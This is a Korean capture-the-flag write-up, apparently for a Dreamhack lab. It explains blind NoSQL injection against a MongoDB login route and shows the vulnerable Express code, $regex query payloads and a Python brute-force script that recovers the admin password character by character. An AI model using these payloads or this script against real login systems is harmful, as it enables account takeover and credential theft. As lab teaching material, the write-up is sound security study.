문제분석 & 풀이
uid와 upw를 전송해서 로그인하는 방식이다.
그대로 요청해보면 guest로 로그인된 것을 확인할 수 있다.
로그인이 성공하면 uid가 출력된다.
목적은 upw를 구해야하므로 blind nosql injection을 수행해야한다고 짐작할 수 있다.
const db = mongoose.connection;
...
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
/login
코드를 보면 uid, upw를 받고 db.collection()
으로 login을 진행한다.
db.collection()
을 사용하는 것과 mongoose를 사용하는 것을 통해 mongoDB을 사용하는 서버라는 것을 알 수 있다.
mongoDB와 연관된 noSQL injection 기법을 조사하고 payload를 구성해보자.
?uid[$regex]=^adm&upw[$regex]=.{i}
upw의 길이를 구할 수 있는 payload를 구성했다.
payload의 의미는 다음과 같다.
- uid[$regex]=^adm
- uid가 ^adm 이라는 정규표현식을 만족하는 경우 → uid가 "adm"으로 시작하는 경우
- upw[$regex]=.{i}
- upw가 .{i} 라는 정규표현식을 만족하는 경우 → upw 길이 ≥ i 인 경우
2가지 조건을 만족하면 admin으로 로그인된다. 그렇다면 i
를 1부터 개싱해서 admin으로 로그인이 안되는 경우를 찾아내면 찾은 i
를 기준으로 i-1
이 upw 길이다.
upw 길이를 구해보자.
i
로 37을 넣으니 undefined가 출력된다.
→ 즉, upw 길이는 36자리다.
이번에는 upw를 구해보자.
?uid[$regex]=^adm&upw[$regex]=^D.{xxxxxxx
upw를 구하는 payload다.
uid는 이전과 동일하고 upw에는 ^D.{
라는 정규표현식을 작성했다.
정규표현식은 upw가 D.{
로 시작하는 경우를 의미한다.
즉, ^D.{
형태로 정규표현식을 작성해서 전송하면, upw가 D.{
로 시작하는 경우에는 admin 계정으로 로그인 되고 upw를 추측할 수 있다.
이런 방법으로 36자리를 1자리씩 게싱하면 모두 알아낼 수 있다.
blind nosql injection을 수행하는 코드를 작성하고 실행해보자.
exploit
from requests import *
url="http://host3.dreamhack.games:8258/login?uid[$regex]=^adm&upw[$regex]="
leng=0
print('[+] exploit starting')
for i in range(100): # upw 길이 구하는 함수
response=get(url=url+".{"+str(i)+"}")
if response.text.find('undefined') != -1:
print('[+] flag length :',i-1)
leng=i-1
break
url=url+"^D.{" # flag는 DH{xxxx}의 형태임으로 "^D.{" 형태로 정규표현식 지정
tt='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}'
flag=''
for i in range(1,leng-2): # upw 구하는 함수
for j in tt:
response=get(url=url+j)
if response.text.find("admin") != -1:
flag=flag+j
url=url+j
break
print('[*] flag:','DH{'+flag)